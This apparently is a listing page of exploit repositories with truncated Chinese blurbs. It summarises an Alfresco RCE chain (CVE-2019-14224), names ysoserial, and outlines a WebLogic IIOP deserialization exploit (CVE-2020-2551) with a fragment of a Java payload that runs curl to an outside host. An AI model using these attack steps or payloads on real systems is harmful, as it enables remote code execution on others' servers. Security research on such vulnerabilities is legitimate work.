CVE-2019-14224

CVE-2019-14224：Alfresco Community中的已认证远程代码执行 通过利用Alfresco应用程序中的多个组件，观察到一条漏洞利用链，允许攻击者实现远程代码执行。攻击者必须使用Alfresco来： 将恶意的Solr配置文件上传到已知/可被发现的位置 创建一个Solr核心，该核心将触发从受害者到攻击者的JMX连接 托管一个恶意的RMI服务器，该服务器将发送一个恶意Java对象，导致反序列化和代码执行 NVD披露： 此漏洞的披露可在此处找到。 要求： 此漏洞需要： 访问Alfresco管理控制台的权限和有效的用户凭据 访问Alfresco WebDAV或Alfresc...

ysoserial

ysoserial !GitHub releasehttps://img.shields.io/github/do...

Exploit for CVE-2020-2551

CVE-2020-2551 Weblogic IIOP 反序列化 测试环境 Weblogic10.3.6+jdk1.6 打包好的jar包 提取码：a6ob 漏洞利用 下载jar包，然后使用marshalsec起一个恶意的RMI服务，本地编译一个exp.java java package payload; import java.io.IOException; public class exp public exp String cmd = "curl http://172.16.1.1/success"; try...